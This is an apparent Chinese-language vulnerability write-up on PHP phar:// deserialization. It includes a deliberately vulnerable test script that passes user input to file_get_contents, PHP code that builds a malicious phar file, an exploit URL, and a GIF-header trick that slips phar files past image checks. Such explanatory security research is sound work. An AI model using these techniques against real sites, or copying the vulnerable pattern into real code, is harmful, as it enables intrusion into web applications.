Phar扩展与反序列化漏洞

Report 漏洞分析

0x01:关于phar协议

就像Java环境打包文件用Jar,Phar协议同样可以在PHP环境打包文件。去年BlackHat会议有人提出,如果文件系统函数的变量可控,利用 phar 协议可以不依赖 unserialize() 函数实现反序列化操作,进而扩展 php 反序列化的攻击面。要理解能反序列化成功的原因,需要看 phar 的文件结构:

Size in bytes   Description
    4 bytes       Filename length in bytes
    ??            Filename(length specified in previous)
    4 bytes       Un-compressed file size in bytes
    4 bytes       Unix timestamp of file
    4 bytes       Compress file size in bytes
    4 bytes       CRC32 checksum of un-compressed file contents
    4 bytes       Bit-mapped File-specific flags
    4 bytes       Seriailzed File Meta-data length(0 for none)
    ??            Serialized File Meta-data,stored in serialize() format

值得注意的是最后一行,没有限制:

Serialized File Meta-data,stored in serialize() format.

Phar是一种压缩文件,每个文件的权限和属性信息放在Meta-data中,而 Meta-data 是可控的序列化后的表单,我们正是利用这点实现了文件操作反序列话的漏洞。

   

0x02:漏洞测试

我们以简单的文件操作为例:

<?php
    class TestPharObject{
        function __destruct(){
            echo $this->data;
        }
    }
    $fileposition = $_GET['file'];
    file_get_contents($fileposition);
?>

既然要利用这个协议实现漏洞,那就需要生成phar压缩文件,PHP自建了 Phar 类处理相关操作:

<?php
    class TestPharObject{
    }
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->addFromString("null.txt","");
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $o = new TestPharObject();
    $o->data = "test233";
    $phar->setMetadata($o);
    $phar->stopBuffering();
?>

实例化Phar之后,addFromString() 以字符串的形式添加文件,而 setMetadata() 函数就是漏洞利用的核心。为了能理解漏洞执行成功的原因,我们看下生成文件 “phar.phar” 的十六进制内容,发现 $o->data 被序列化存储。既然 Meta-data 的字符串是序列化后储存的,那肯定有地方反序列化字符串,有趣的是PHP大多数操作文件的函数都会反序列化 Meta-data,因此漏洞执行链很清楚了,找到文件操作函数可控,并且有利用价值的类,通过Phar生成文件,把要反序列化的类插入Meta-data,再利用phar协议操作函数。生成phar文件后最终的利用方法:

http://127.0.0.1/test.php?file=phar://phar.phar/null.txt

   

0x03:Phar的伪造

我们通过生成Phar文件验证了漏洞,但它很难直接应用到实际场景。再重新看一遍代码,setStub() 添加的字符串是识别 Phar 的唯一标志符,因此我们可以修改文件名后缀,添加十六进制文件头的方式,伪造一个更像图片的Phar文件:

<?php
    class TestPharObject{
    }
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->addFromString("null.txt","");
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
    $o = new TestPharObject();
    $o->data = "test233";
    $phar->setMetadata($o);
    $phar->stopBuffering();
?>

利用这些伪造就能绕过大多数的检测函数,比如mime_content_type(),getimagesize()之类的,系统将其视作一幅图片,PHP也将其视作一幅图片,但同样能操作Phar内容:

root@kali:  file phar.gif
- phar.gif: GIF image data,version 89a, 16188 x 26736
root@kali:  php -a
php > var_dump(mime_content_type('phar.gif'));
- string(9) "image/gif"
php > var_dump(getimagesize('phar.gif'));
- array(6){
    [0]=>
    int(16188)
    [1]=>
    int(26736)
    [2]=>
    int(1)
    [3]=>
    string(28) "width="16188" height="26736""
    ["channels"]=>
    int(3)
    ["mime"]=>
    string(9) "image/gif"
}

能添加文件头利用了 __HALT_COMPILER 的特性,这段话之前的字符串都不会被 PHP 解析器编译,我们可以填充一幅完整的图片,伪造更真实的图片文件。正如我演示的内容,Phar 是PHP的默认开启的扩展,要解析这种文件不需要额外支持,更有趣的是甚至不要求带攻击载荷文件的后缀名,只需要申明调用 Phar 协议就能够构造一条反序列的攻击链。